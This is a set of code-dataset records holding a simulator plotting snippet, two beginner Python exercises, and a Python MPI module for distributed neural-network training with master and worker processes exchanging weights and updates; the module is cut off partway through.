np.hstack((Jf_u, Jf_a))\nJn = np.hstack((Jn_u, Jn_a))\ndq = q_log[1:] - q_log[:-1]\nv_tangent = (Jf.dot(dq.T / h)).T\nv_normal = (dq / h).dot(Jn.T)\n\n# %%\nPlotForceDistance(\n    t_sim,\n    phi_log,\n    lambda_n_log,\n    friction_log,\n    t_contact_mode_change,\n    figsize=(6, 4),\n    save_name=\"contact_force_distance_lcp.pdf\",\n)\n\nPlotLeftFingerPosition(\n    t_sim1,\n    q_log,\n    qa_cmd_log,\n    t_contact_mode_change,\n    fig_size=(6, 3),\n    save_name=\"xy_cmd_vs_xy_true_lcp.pdf\",\n)\n","repo_name":"pangtao22/quasistatic_simulator","sub_path":"qsim/examples/gripper_ball_pinch_2d/run_quasistatic_sim.py","file_name":"run_quasistatic_sim.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"77"}
+{"seq_id":"41475116107","text":"e = input('Enter the email: ')\nm = e.split(\"@\")\ndomain = [\"gmail.com\",\"yahoo.com\",\"outlook.com\"]\n\nfor i  in m:\n    for j in domain:\n        if (i==j):\n            flag = 1\n            print(\"Valid email\")\n            break\n        else:\n            flag = 0\n\nif (flag==0):\n    print(\"Invalid email\")\n","repo_name":"Juz-Tom-J/Python-Lab","sub_path":"Validity_of_Email.py","file_name":"Validity_of_Email.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"23192361525","text":"import random\r\n\r\nprint(\"Number Guessing Game\")\r\nprint(\"Guess a Number between 1 to 9\")\r\ncount = 0\r\nnumber = random.randint(1,10)\r\nwhile count < 5 :\r\n    guess = int(input(\"enter your number:\"))\r\n    if (guess == number):\r\n        print(\"you won the game\")\r\n    elif (guess > number):\r\n        print(\"guess a smaller number than\",number+2)   \r\n        count = count+1\r\n    else:\r\n        print(\"guess a bigger number bigger than\",number-2)\r\n        count = count+1\r\nif (count == 5):\r\n    print(\"You Lose\",\"the number was\",number)        \r\n","repo_name":"lakshay123-ctrl/first-python-game","sub_path":"guess.py","file_name":"guess.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36603179052","text":"### MPIWorker and MPIMaster classes \n\nimport os,sys,json\nimport numpy as np\nimport socket\nimport time\nimport threading, queue\nimport logging\n\nfrom mpi4py import MPI\n\nfrom ..train.monitor import Monitor\nfrom ..train.trace import Trace, trace\nfrom ..utils import Error, weights_from_shapes, shapes_from_weights\nfrom ..logger import get_logger, set_logging_prefix\n\n### Classes ###\n\nclass MPIProcess(object):\n    \"\"\"Base class for processes that communicate with one another via MPI.  \n\n       Attributes:\n           verbose: display verbose output\n           parent_comm: MPI intracommunicator used to communicate with this process's parent\n           parent_rank (integer): rank of this node's parent in parent_comm\n           rank (integer): rank of this node in parent_comm\n           model: Keras model to train\n           model_builder: ModelBuilder object specifying model\n           algo: Algo object defining how to optimize model weights\n           weights_shapes: list of tuples indicating the shape of each layer of the model\n           weights: list of numpy arrays storing the last weights received from the parent\n           update: latest update obtained from training\n           data: Data object used to generate training or validation data\n           time_step: for keeping track of time\n           num_epochs: integer giving the number of epochs to train for\n           stop_training: becomes true when it is time to stop training\n    \"\"\"\n\n    def __init__(self, parent_comm, process_comm, parent_rank=None, num_epochs=1, data=None, algo=None,\n            model_builder=None, verbose=False, monitor=False, custom_objects={},\n            checkpoint=None, checkpoint_interval=5):\n        \"\"\"If the rank of the parent is given, initialize this process and immediately start \n            training. If no parent is indicated, training should be launched with train().\n            \n            Parameters:\n              parent_comm: MPI intracommunicator used to communicate with parent\n              parent_rank (integer): rank of this node's parent in parent_comm\n              num_epochs: number of training epochs\n              data: Data object used to generate training or validation data\n              algo: Algo object used to configure the training process\n              model_builder: ModelBuilder object specifying model\n              verbose: whether to print verbose output\n              monitor: whether to monitor CPU/GPU usage\n        \"\"\"\n        self.parent_comm = parent_comm\n        self.process_comm = process_comm\n        self.parent_rank = parent_rank\n        self.num_epochs = num_epochs\n        self.data = data\n        self.algo = algo\n        self.model_builder = model_builder\n        self.verbose = verbose\n        self.histories = {}\n        self.custom_objects = custom_objects\n\n        self.update = None\n        self.stop_training = False\n        self.time_step = 0\n        self._short_batches = 0\n        self._is_shadow = (self.process_comm is not None and self.process_comm.Get_rank()!=0)\n\n        self.monitor = Monitor() if monitor else None\n\n        process_type = self.__class__.__name__.replace('MPI', '')[0]\n        set_logging_prefix(\n            MPI.COMM_WORLD.Get_rank(),\n            self.parent_comm.Get_rank() if self.parent_comm is not None else '-',\n            self.process_comm.Get_rank() if self.process_comm is not None else '-',\n            process_type\n        )\n        self.logger = get_logger()\n\n        if self.process_comm is not None and self.process_comm.Get_size() > 1:\n            if self.model_builder.get_backend_name() == 'pytorch':\n                import horovod.torch as hvd\n            else:\n                import horovod.keras as hvd\n            self.logger.debug(\"initializing horovod\")\n            self.process_comm.Barrier()\n            hvd.init(comm=self.process_comm)\n            self.process_comm.Barrier()\n            self.algo.worker_optimizer_builder.horovod_wrapper = True\n        \n        self.rank = parent_comm.Get_rank() if parent_comm else 0\n        self.ranks = \"{0}:{1}:{2}\".format(\n            MPI.COMM_WORLD.Get_rank(),\n            self.parent_comm.Get_rank() if self.parent_comm is not None else '-',\n            self.process_comm.Get_rank() if self.process_comm is not None else '-')\n\n        Trace.set_process_name(type(self).__name__ + \" \" + self.ranks)\n\n        self.epoch = 0\n        self.checkpoint = checkpoint\n        self.checkpoint_interval = checkpoint_interval\n        if self.algo.restore and self.checkpoint is not None:\n            try:\n                with open(self.checkpoint + '.latest', 'r') as latest:\n                    latest_file = latest.read().splitlines()[-1]\n                epoch = int(latest_file.split('-')[-1])\n            except:\n                epoch = 0\n                self.logger.error(\"Failed to restore epoch from checkpoint {}\".format(self.checkpoint))\n            if epoch < num_epochs:\n                self.epoch = epoch\n                self.num_epochs = num_epochs - epoch\n                self.logger.info(\"Continuing training from epoch {} for {} epochs\".format(self.epoch, self.num_epochs))\n\n        self.build_model()\n        if (self.parent_rank is not None and self.parent_comm is not None):\n            self.bcast_weights( self.parent_comm )\n        if (self.parent_rank is not None and self.parent_comm is not None) or (self.process_comm):\n            self.train()\n\n    def record_details(self, json_name=None, meta=None):\n        \"\"\"to be implemented by the specific process\n        \"\"\"\n        pass\n\n    def save_checkpoint(self):\n        if self.checkpoint is not None and self.epoch % self.checkpoint_interval == 0:\n            file_name = '{}-{}'.format(self.checkpoint, self.epoch)\n            if self.model:\n                self.model.save(file_name + '.model')\n            if self.algo:\n                self.algo.save(file_name + '.algo')\n\n            with open(self.checkpoint + '.latest', 'w') as latest:\n                latest.write(file_name)\n\n    def history_key(self):\n        #return str(self.rank)\n        return self.ranks\n\n    def update_monitor(self, perf):\n        r= self.history_key()\n        self.histories.setdefault(r,{})['monitor'] = perf\n        \n    def update_history(self, items):\n        r= self.history_key()\n        self.model.update_history( items, self.histories.setdefault(r,{}))\n\n    def is_shadow(self, sync = False):\n        \"\"\"signals that the process is a sub-process and should not act normally\"\"\"\n        if self.process_comm and sync:\n            import inspect\n            self.logger.debug(\"syncing on the process communicator from\",inspect.stack()[1][3])\n            self.process_comm.Barrier()\n        return self._is_shadow\n\n    def build_model(self, local_session=True):\n        \"\"\"Builds the Keras model and updates model-related attributes\"\"\"\n        self.model = self.model_builder.build_model(local_session=local_session)\n        self.weights = self.model.get_weights()\n        self.compile_model()\n        self.weights = self.model.get_weights()\n        self.update = self.model.format_update()\n\n    def check_sanity(self):\n        \"\"\"Throws an exception if any model attribute has not been set yet.\"\"\"\n        for par in ['model',\n                    #'weights_shapes',\n                    'weights','update']:\n            if not hasattr(self, par) or getattr(self, par) is None:\n                raise Error(\"%s not found!  Process %s does not seem to be set up correctly.\" % (par,self.ranks))\n\n    def train(self):\n        \"\"\"To be implemented in derived classes\"\"\"\n        raise NotImplementedError\n\n    def compile_model(self):\n        \"\"\"Compile the model. Note that the compilation settings\n            are relevant only for Workers because the Master updates\n            its weights using an mpi_learn optimizer.\"\"\"\n        self.logger.debug(\"Compiling model\")\n        self.algo.compile_model( self.model )\n        self.logger.debug(\"Compiled\")\n        \n    def print_metrics(self, metrics):\n        \"\"\"Display metrics computed during training or validation\"\"\"\n        self.model.print_metrics( metrics )\n\n    def get_logs(self, metrics, val=False):\n        \"\"\"Get dictionary of logs computed during training.\n            If val is True, appends 'val' to the beginning of each metric name\"\"\"\n        MPI.COMM_WORLD.Abort()\n        if val:\n            return { 'val_'+name:np.asscalar(metric) for name, metric in \n                    zip( self.model.metrics_names(), metrics ) }\n        else:\n            return { name:np.asscalar(metric) for name, metric in \n                    zip( self.model.metrics_names(), metrics ) }\n\n    @trace(category=\"MPI\")\n    def do_send_sequence(self):\n        \"\"\"Actions to take when sending an update to parent:\n            -Send the update (if the parent accepts it)\n            -Sync time and model weights with parent\"\"\"\n        if self.is_shadow():\n            return            \n        self.send_update(check_permission=True)\n        self.time_step = self.recv_time_step()\n        self.recv_weights()\n        self.algo.set_worker_model_weights( self.model, self.weights )\n\n    def apply_update(self):\n        \"\"\"Updates weights according to update received from worker process\"\"\"\n        with np.errstate( divide='raise',\n                          invalid='raise',\n                          over='raise',\n                          #under ='raise'## might not be too bad\n                      ):\n            self.weights = self.algo.apply_update( self.weights, self.update )\n        \n    ### MPI-related functions below ###\n\n    # This dict associates message strings with integers to be passed as MPI tags.\n    tag_lookup = {\n            'any':          MPI.ANY_TAG,\n            'train':          0,\n            'exit':           1,\n            'begin_weights':  2,\n            'begin_update'  : 3,\n            'time':           4,\n            'bool':           5,\n            'history':        6,\n            'weights':        12,\n            'update':         12,\n            'begin_gem':      13,\n            'update_gem':     14,\n            }\n    # This dict is for reverse tag lookups.\n    inv_tag_lookup = { value:key for key,value in tag_lookup.items() }\n\n    def lookup_mpi_tag( self, name, inv=False ):\n        \"\"\"Searches for the indicated name in the tag lookup table and returns it if found.\n            Params:\n              name: item to be looked up\n              inv: boolean that is True if an inverse lookup should be performed (int --> string)\"\"\"\n        if inv:\n            lookup = self.inv_tag_lookup\n        else:\n            lookup = self.tag_lookup\n        try:\n            return lookup[name]\n        except KeyError:\n            self.logger.error(\"Not found in tag dictionary: {0} -- returning None\".format(name))\n            return None\n\n    def recv(self, obj=None, tag=MPI.ANY_TAG, source=None, buffer=False, status=None, comm=None):\n        \"\"\"Wrapper around MPI.recv/Recv. Returns the received object.\n            Params:\n              obj: variable into which the received object should be placed\n              tag: string indicating which MPI tag should be received\n              source: integer rank of the message source.  Defaults to self.parent_rank\n              buffer: True if the received object should be sent as a single-segment buffer\n                (e.g. for numpy arrays) using MPI.Recv rather than MPI.recv\n              status: MPI status object that is filled with received status information\n              comm: MPI communicator to use.  Defaults to self.parent_comm\"\"\"\n        if comm is None:\n            comm = self.parent_comm\n        if source is None:\n            if self.parent_rank is None:\n                raise Error(\"Attempting to receive %s from parent, but parent rank is None\" % tag)\n            source = self.parent_rank \n        tag_num = self.lookup_mpi_tag(tag)\n        if tag == 'history':\n            obj = comm.recv( source=source, tag=tag_num, status=status )\n            return obj\n        #if tag in ['bool','time']:\n        #    comm.Recv(obj, source=source, tag=tag_num, status=status )\n        #    return obj\n        if buffer:\n            if type(obj) == list:\n                for o in obj:\n                    if type(o) == list:\n                        for sub_o in o:\n                            comm.Recv( sub_o, source=source, tag=tag_num, status=status )\n                    else:\n                        comm.Recv( o, source=source, tag=tag_num, status=status )\n            else:\n                comm.Recv( obj, source=source, tag=tag_num, status=status )\n            return obj\n        else:\n            obj = comm.recv( source=source, tag=tag_num, status=status )\n            return obj\n\n    def send(self, obj, tag, dest=None, buffer=False, comm=None):\n        \"\"\"Wrapper around MPI.send/Send.  Params:\n             obj: object to send\n             tag: string indicating which MPI tag to send\n             dest: integer rank of the message destination.  Defaults to self.parent_rank\n             buffer: True if the object should be sent as a single-segment buffer\n                (e.g. for numpy arrays) using MPI.Send rather than MPI.send\n             comm: MPI communicator to use.  Defaults to self.parent_comm\"\"\"\n        if comm is None:\n            comm = self.parent_comm\n        if dest is None:\n            if self.parent_rank is None:\n                raise Error(\"Attempting to send %s to parent, but parent rank is None\" % tag)\n            dest = self.parent_rank\n        tag_num = self.lookup_mpi_tag(tag)\n        if tag in ['history']:\n            comm.send( obj, dest=dest, tag=tag_num )\n            return\n        #if tag in ['time']:\n        #    comm.Send( obj, dest=dest, tag=tag_num )\n        #    return\n        if buffer:\n            if type(obj) == list:\n                for o in obj:\n                    if type(o) == list:\n                        for sub_o in o:\n                            comm.Send( sub_o, dest=dest, tag=tag_num )\n                    else:\n                        comm.Send( o, dest=dest, tag=tag_num )\n            else:\n                comm.Send( obj, dest=dest, tag=tag_num )\n        else:\n            if type(obj) == list:\n                for o in obj:\n                    if type(o) == list:\n                        for sub_o in o:\n                            comm.Send( sub_o, dest=dest, tag=tag_num )\n                    else:\n                        comm.Send( o, dest=dest, tag=tag_num )\n            else:\n                comm.send( obj, dest=dest, tag=tag_num )\n\n    def bcast(self, obj, root=0, buffer=False, comm=None):\n        \"\"\"Wrapper around MPI.bcast/Bcast.  Returns the broadcasted object.\n            Params: \n              obj: object to broadcast\n              root: rank of the node to broadcast from\n              buffer: True if the object should be sent as a single-segment buffer\n                (e.g. for numpy arrays) using MPI.Bcast rather than MPI.bcast\n              comm: MPI communicator to use.  Defaults to self.parent_comm\"\"\"\n        if comm is None:\n            comm = self.parent_comm\n        if buffer:\n            if type(obj) == list:\n                for o in obj:\n                    if type(o) == list:\n                        for sub_o in o:\n                            comm.Bcast( sub_o, root=root )\n                    else:\n                        comm.Bcast(o, root=root )\n            else:\n                comm.Bcast( obj, root=root )\n        else:\n            obj = comm.bcast( obj, root=root )\n            return obj\n\n    def send_exit_to_parent(self):\n        if self.is_shadow( sync = True): return\n        \"\"\"Send exit tag to parent process, if parent process exists\"\"\"\n        if self.parent_rank is not None:\n            self.send( None, 'exit' )\n\n    def send_history_to_parent(self):\n        if self.is_shadow():return        \n        \"\"\"Send keras history or dict of keras histories\"\"\"\n        if self.parent_rank is not None:\n            self.send( obj=self.histories, tag='history' )\n\n    def send_arrays(self, obj, expect_tag, tag, comm=None, dest=None, check_permission=False):\n        \"\"\"Send a list of numpy arrays to the process specified by comm (MPI communicator) \n            and dest (rank).  We first send expect_tag to tell the dest process that we \n            are sending several buffer objects, then send the objects layer by layer.\n            Optionally check first to see if the update will be accepted by the master\"\"\"\n        self.send( None, expect_tag, comm=comm, dest=dest )\n        if check_permission:\n            # To check permission we send the update's time stamp to the master.\n            # Then we wait to receive the decision yes/no.\n            self.send_time_step( comm=comm, dest=dest )\n            decision = self.recv_bool( comm=comm, source=dest )\n            if not decision: return\n        for o in obj:\n            if type(o) == list:\n                for w in o:\n                    self.send( w, tag, comm=comm, dest=dest, buffer=True )\n            else:\n                self.send( o, tag, comm=comm, dest=dest, buffer=True )\n\n    def send_weights(self, comm=None, dest=None, check_permission=False):\n        if self.is_shadow():return        \n        \"\"\"Send NN weights to the process specified by comm (MPI communicator) and dest (rank).\n            Before sending the weights we first send the tag 'begin_weights'.\"\"\"\n        self.send_arrays( self.weights, expect_tag='begin_weights', tag='weights', \n                comm=comm, dest=dest, check_permission=check_permission )\n\n    def send_update(self, comm=None, dest=None, check_permission=False):\n        if self.is_shadow():return        \n        \"\"\"Send update to the process specified by comm (MPI communicator) and dest (rank).\n            Before sending the update we first send the tag 'begin_update'\"\"\"\n        self.send_arrays( self.update, expect_tag='begin_update', tag='update', \n                comm=comm, dest=dest, check_permission=check_permission )\n\n    def send_time_step(self, comm=None, dest=None):\n        if self.is_shadow():return        \n        \"\"\"Send the current time step\"\"\"\n        self.send( obj=self.time_step, tag='time', dest=dest, comm=comm )\n\n    def send_bool(self, obj, comm=None, dest=None):\n        if self.is_shadow():return        \n        self.send( obj=obj, tag='bool', dest=dest, comm=comm )\n\n    def recv_arrays(self, obj, tag, comm=None, source=None, add_to_existing=False):\n        \"\"\"Receive a list of numpy arrays from the process specified by comm (MPI communicator) \n            and dest (rank).\n              obj: list of destination arrays \n              tag: MPI tag accompanying the message\n              add_to_existing: if true, add to existing object instead of replacing\"\"\"\n        if add_to_existing:\n            #TODO this needs some work\n            tmp = weights_from_shapes( [ w.shape for w in obj ] )\n            self.recv_arrays( tmp, tag=tag, comm=comm, source=source )\n            for i in range(len(obj)):\n                obj[i] += tmp[i]\n            return\n        for o in obj:\n            if type(o) == list:\n                for w in o:\n                    self.recv( w, tag, comm=comm, source=source, buffer=True )\n            else:\n                self.recv( o, tag, comm=comm, source=source, buffer=True )\n\n    def recv_weights(self, comm=None, source=None, add_to_existing=False):\n        \"\"\"Receive NN weights layer by layer from the process specified by comm and source\"\"\"\n        if self.is_shadow():return        \n        self.recv_arrays( self.weights, tag='weights', comm=comm, source=source,\n                add_to_existing=add_to_existing )\n\n    def recv_update(self, comm=None, source=None, add_to_existing=False):\n        \"\"\"Receive an update layer by layer from the process specified by comm and source.\n            Add it to the current update if add_to_existing is True, \n            otherwise overwrite the current update\"\"\"\n        if self.is_shadow():return        \n        self.recv_arrays( self.update, tag='update', comm=comm, source=source,\n                add_to_existing=add_to_existing )\n\n    def recv_time_step(self, comm=None, source=None):\n        \"\"\"Receive the current time step\"\"\"\n        if self.is_shadow():return\n        return self.recv( tag='time', comm=comm, source=source )\n\n    def recv_bool(self, comm=None, source=None):\n        if self.is_shadow():return        \n        return self.recv( tag='bool', comm=comm, source=source )\n\n    def recv_exit_from_parent(self):\n        ir = None\n        if not self.is_shadow():\n            ir = self.parent_comm.irecv( source=0, tag=self.lookup_mpi_tag('exit') )\n        elif self.process_comm:\n            ir = self.process_comm.irecv( source=0, tag=self.lookup_mpi_tag('exit') )\n        return ir\n\n\n    def bcast_weights(self, comm, root=0):\n        \"\"\"Broadcast weights shape and weights (layer by layer) \n            on communicator comm from the indicated root rank\"\"\"\n        self.bcast( self.weights, comm=comm, root=root, buffer=True )\n\n\nclass MPIWorker(MPIProcess):\n    \"\"\"This class trains its NN model and exchanges weight updates with its parent.\"\"\"\n\n    def __init__(self, data, algo, model_builder, process_comm, parent_comm, parent_rank=None, \n            num_epochs=1, verbose=False, monitor=False, custom_objects={},\n            checkpoint=None, checkpoint_interval=5):\n        \"\"\"Raises an exception if no parent rank is provided. Sets the number of epochs \n            using the argument provided, then calls the parent constructor\"\"\"\n        info = \"Creating MPIWorker with rank {0} and parent rank {1} on a communicator of size {2}\"\n        tell_comm = parent_comm if parent_comm is not None else process_comm\n        if tell_comm: logging.info(info.format(tell_comm.Get_rank(),\n                           parent_rank,\n                           tell_comm.Get_size()))\n\n        super(MPIWorker, self).__init__( parent_comm, process_comm, parent_rank,\n                num_epochs=num_epochs, data=data, algo=algo, model_builder=model_builder,\n                verbose=verbose, monitor=monitor, custom_objects=custom_objects,\n                checkpoint=checkpoint, checkpoint_interval=checkpoint_interval )\n\n    def build_model(self):\n        \"\"\"Builds the Keras model and updates model-related attributes\"\"\"\n\n        self.validation_model = self.model_builder.build_model()\n        self.algo.compile_model( self.validation_model )\n        super(MPIWorker, self).build_model(local_session=False)\n\n    def sync_with_parent(self):\n        self.compute_update()\n        if self.algo.mode == 'gem':\n            self.do_gem_sequence()\n        else:\n            self.do_send_sequence()\n\n    def notify_parent(self):\n        \"\"\"Notify parent that worker is ready to begin GEM sequence.\"\"\"\n        self.send( None, 'begin_gem' )\n\n    def do_gem_sequence(self):\n        \"\"\"GEM sequence on worker:\n         -Notify parent we are ready\n         -Receive central variable (weights) from master\n         -Compute the update with GEM\n         -Send the update to master and apply it to own weights\n        \"\"\"\n        self.notify_parent()\n        self.recv_weights()\n        self.update = self.algo.compute_update_worker(self.weights, self.update)\n        self.send_update()\n        self.apply_update()\n        self.algo.set_worker_model_weights(self.model, self.weights)\n\n    def train(self):\n        \"\"\"Wait for the signal to train. Then train for num_epochs epochs.\n            In each step, train on one batch of input data, then send the update to the master\n            and wait to receive a new set of weights.  When done, send 'exit' signal to parent.\n        \"\"\"\n        Trace.begin(\"train\")\n        self.check_sanity()\n\n        self.await_signal_from_parent()\n\n        # periodically check this request to see if the parent has told us to stop training\n        exit_request = self.recv_exit_from_parent()\n        for epoch in range(1, self.num_epochs + 1):\n            self.logger.info(\"Beginning epoch {:d}\".format(self.epoch + epoch))\n            Trace.begin(\"epoch\")\n            if self.monitor:\n                self.monitor.start_monitor()\n            epoch_metrics = np.zeros((1,))\n            i_batch = 0\n\n            for i_batch, batch in enumerate(self.data.generate_data()):\n                if self.process_comm:\n                    ## broadcast the weights to all processes\n                    ## alternative is to load the broadcast callback from horovod and call it here\n                    self.bcast_weights( comm=self.process_comm )\n                    if self.process_comm.Get_rank()!=0:\n                        self.model.set_weights(self.weights)\n\n                Trace.begin(\"train_on_batch\")\n                train_metrics = self.model.train_on_batch( x=batch[0], y=batch[1] )\n                Trace.end(\"train_on_batch\")\n                if epoch_metrics.shape != train_metrics.shape:\n                    epoch_metrics = np.zeros( train_metrics.shape)\n                epoch_metrics += train_metrics\n                if self.algo.should_sync():\n                    self.sync_with_parent()\n                if exit_request and exit_request.Test():\n                    self.stop_training = True\n                    if self.process_comm:\n                        for r in range(1, self.process_comm.Get_size()):\n                            ## propagate the exit signal to processes of this worker\n                            self.send_exit_to_child(r, comm=self.process_comm)\n                    self.logger.info(\"Received exit request from master\")\n                    break\n                if self._short_batches and i_batch>self._short_batches: break\n\n            if self.monitor:\n                self.monitor.stop_monitor()\n            epoch_metrics = epoch_metrics / float(i_batch+1)\n            l = self.model.get_logs( epoch_metrics )\n            self.update_history( l )\n            Trace.end(\"epoch\")\n\n            if self.stop_training:\n                break\n\n        self.logger.debug(\"Signing off\")\n        stats = None\n        if self.monitor:\n            stats = self.monitor.get_stats()\n            self.update_monitor( stats )\n        Trace.end(\"train\", monitoring_stats=stats)\n        self.send_exit_to_parent()\n        self.send_history_to_parent()\n        self.data.finalize()\n\n    @trace\n    def compute_update(self):\n        \"\"\"Compute the update from the new and old sets of model weights\"\"\"\n        self.update = self.algo.compute_update( self.weights, self.model.get_weights() )\n\n    def await_signal_from_parent(self):\n        \"\"\"Wait for 'train' signal from parent process\"\"\"\n        if not self.is_shadow():\n            tag = self.recv( tag='train' )\n        if self.process_comm:\n            if self.process_comm.Get_rank() == 0:\n                for r in range(1,self.process_comm.Get_size()):\n                    self.send( None, tag='train', comm=self.process_comm, dest=r)\n            else:\n                self.recv( tag='train', comm=self.process_comm )\n\n\n\nclass MPIMaster(MPIProcess):\n    \"\"\"This class sends model information to its worker processes and updates its model weights\n        according to updates or weights received from the workers.\n        \n        Attributes:\n          child_comm: MPI intracommunicator used to communicate with child processes\n          has_parent: boolean indicating if this process has a parent process\n          num_workers: integer giving the number of workers that work for this master\n          best_val_loss: best validation loss computed so far during training\n          running_workers: list of workers not yet done training\n          waiting_workers_list: list of workers that sent updates and are now waiting\n          num_sync_workers: number of worker updates to receive before performing an update\n          update_tag: MPI tag to expect when workers send updates\n          histories: model histories collected from workers\n          epoch: current epoch number\n    \"\"\"\n\n    def __init__(self, parent_comm, parent_rank=None, child_comm=None, \n            num_epochs=1, data=None, algo=None, model_builder=None, \n                 num_sync_workers=1, verbose=False, monitor=False, custom_objects={}, early_stopping=None, target_metric=None,\n                 threaded_validation=False, checkpoint=None, checkpoint_interval=5):\n        \"\"\"Parameters:\n              child_comm: MPI communicator used to contact children\"\"\"\n        if child_comm is None:\n            raise Error(\"MPIMaster initialized without child communicator\")\n        self.child_comm = child_comm\n        self.has_parent = False\n        if parent_rank is not None:\n            self.has_parent = True\n        self.best_val_loss = None\n        self.target_metric = (target_metric if type(target_metric)==tuple else tuple(map(lambda s : float(s) if s.replace('.','').isdigit() else s, target_metric.split(',')))) if target_metric else None\n        self.patience = (early_stopping if type(early_stopping)==tuple else tuple(map(lambda s : float(s) if s.replace('.','').isdigit() else s, early_stopping.split(',')))) if early_stopping else None\n        ## a couple of example\n        ##self.target_metric = ('val_acc','>', 0.97)\n        #self.patience = ('val_loss','~<',4)\n        #self.target_metric = ('combined_model:val_loss','<',1)#('val_acc','>', 0.97)\n        #self.patience = ('combined_model:val_loss','~<',2)        \n        self.num_workers = child_comm.Get_size() - 1 #all processes but one are workers\n        self.num_sync_workers = num_sync_workers\n        info = (\"Creating MPIMaster with rank {0} and parent rank {1}. \"\n                \"(Communicator size {2}, Child communicator size {3})\")\n        logging.info(info.format(parent_comm.Get_rank(),parent_rank,parent_comm.Get_size(), \n                child_comm.Get_size()))\n        if self.num_sync_workers > 1:\n            logging.info(\"Will wait for updates from {0:d} workers before synchronizing\".format(self.num_sync_workers))\n        self.threaded_validation = threaded_validation\n\n        super(MPIMaster, self).__init__( parent_comm, process_comm=None,parent_rank=parent_rank, data=data, \n                algo=algo, model_builder=model_builder, num_epochs=num_epochs, \n                verbose=verbose, monitor=monitor, custom_objects=custom_objects,\n                checkpoint=checkpoint, checkpoint_interval=checkpoint_interval )\n\n    def decide_whether_to_sync(self):\n        \"\"\"Check whether enough workers have sent updates\"\"\"\n        return ( len(self.waiting_workers_list) >= self.num_sync_workers )\n\n    def is_synchronous(self):\n        return self.num_sync_workers > 1\n\n    def accept_update(self):\n        \"\"\"Returns true if the master should accept the latest worker's update, false otherwise\"\"\"\n        return (not self.is_synchronous()) or self.algo.staleness == 0\n        \n    def sync_children(self):\n        \"\"\"Update model weights and signal all waiting workers to work again.\n            Send our update to our parent, if we have one\"\"\"\n        while self.waiting_workers_list:\n            child = self.waiting_workers_list.pop()\n            self.sync_child(child)\n\n    def sync_child(self, child):\n        self.send_time_step( dest=child, comm=self.child_comm )\n        self.send_weights( dest=child, comm=self.child_comm )\n\n    def sync_parent(self):\n        if self.has_parent:\n            self.do_send_sequence()\n        else:\n            self.time_step += 1 \n\n    def do_update_sequence(self, source):\n        \"\"\"Update procedure:\n         -Compute the staleness of the update and decide whether to accept it.\n         -If we accept, we signal the worker and wait to receive the update.\n         -After receiving the update, we determine whether to sync with the workers.\n         -Finally we run validation if we have completed one epoch's worth of updates.\"\"\"\n        child_time = self.recv_time_step( source=source, comm=self.child_comm )\n        self.algo.staleness = self.time_step - child_time\n        accepted = self.accept_update()\n        self.send_bool( accepted, dest=source, comm=self.child_comm )\n        if accepted:\n            self.recv_update( source=source, comm=self.child_comm, \n                    add_to_existing=self.is_synchronous() )\n            self.waiting_workers_list.append(source)\n            if self.decide_whether_to_sync():\n                if self.algo.send_before_apply:\n                    self.sync_parent()\n                    self.sync_children()\n                    self.apply_update()\n                else:\n                    self.apply_update()\n                    self.sync_parent()\n                    self.sync_children()\n                self.update = self.model.format_update()\n            if (self.algo.validate_every > 0 and self.time_step > 0):\n                if (self.time_step % self.algo.validate_every == 0) or (self._short_batches and self.time_step%self._short_batches == 0):\n                    self.validate(self.weights)\n                    self.epoch += 1\n                    self.save_checkpoint()\n        else:\n            self.sync_child(source)\n\n    def do_gem_sequence(self, source):\n        \"\"\"Gradient enery matching procedure:\n         -Send the current central variable (weights) to worker.\n         -Wait to receive the update and apply it.\n         -Finally we run validation if we have completed one epoch's worth of updates.\"\"\"\n        self.send_weights( dest=source, comm=self.child_comm )\n\n    def do_gem_update_sequence(self, source):\n        self.recv_update( source=source, comm=self.child_comm )\n        self.apply_update()\n        #Update model weights and signal all waiting workers to work again.\n        self.time_step += 1\n        if (self.algo.validate_every > 0 and self.time_step > 0):\n            if (self.time_step % self.algo.validate_every == 0) or (self._short_batches and self.time_step%self._short_batches == 0):\n                self.validate(self.weights)\n                self.epoch += 1\n                self.save_checkpoint()\n\n    def do_worker_finish_sequence(self, worker_id):\n        \"\"\"Actions to take when a worker finishes training and returns its history\"\"\"\n        self.histories.update( self.recv_history_from_child(worker_id) )\n        #key = \"%d_%d\" % (self.rank, worker_id)\n        #self.histories[key] = self.recv_history_from_child(worker_id)\n        self.running_workers.remove(worker_id)\n        self.num_sync_workers -= 1\n\n    def process_message(self, status):\n        \"\"\"Extracts message source and tag from the MPI status object and processes the message. \n            Returns the tag of the message received.\n            Possible messages are:\n            -begin_update: worker is ready to send a new update\n            -begin_gem: Worker needs central variable to start GEM\n            -exit: worker is done training and will shut down\n        \"\"\"\n        source = status.Get_source()\n        tag = self.lookup_mpi_tag( status.Get_tag(), inv=True )\n        if tag == 'begin_update':\n            if self.algo.mode == 'gem':\n                self.do_gem_update_sequence(source)\n            else:\n                self.do_update_sequence(source)\n        elif tag == 'begin_gem':\n            self.do_gem_sequence(source)\n        elif tag == 'exit':\n            self.do_worker_finish_sequence(source)\n        else:\n            raise ValueError(\"Tag %s not recognized\" % tag)\n        return tag\n\n    def shut_down_workers(self):\n        \"\"\"Signal all running workers to shut down\"\"\"\n        for worker_id in self.running_workers:\n            self.logger.info(\"Signaling worker {0:d} to shut down\".format(worker_id))\n            self.send_exit_to_child( worker_id )\n\n    def train(self):\n        \"\"\"Broadcasts model information to children and signals them to start training.\n            Receive messages from workers and processes each message until training is done.\n            When finished, signal the parent process that training is complete.\n        \"\"\"\n        Trace.begin(\"train\")\n        self.start_time = time.time()\n        self.check_sanity()\n        self.bcast_weights( comm=self.child_comm )\n        self.signal_children()\n\n        if self.threaded_validation:\n            self.validation_queue = queue.Queue()\n            self.validation_thread = threading.Thread(target=MPIMaster.validation_worker, args = (self, ))\n            self.validation_thread.start()\n\n        status = MPI.Status()\n        self.running_workers = list(range(1, self.num_workers+1))\n        self.waiting_workers_list = []\n        \n        while self.running_workers:\n            self.recv_any_from_child(status)\n            self.process_message( status )\n            if (self.stop_training):\n                self.shut_down_workers()\n        self.logger.info(\"Done training\")\n        # If we did not finish the last epoch, validate one more time.\n        # (this happens if the batch size does not divide the dataset size)\n        if self.epoch < self.num_epochs or not 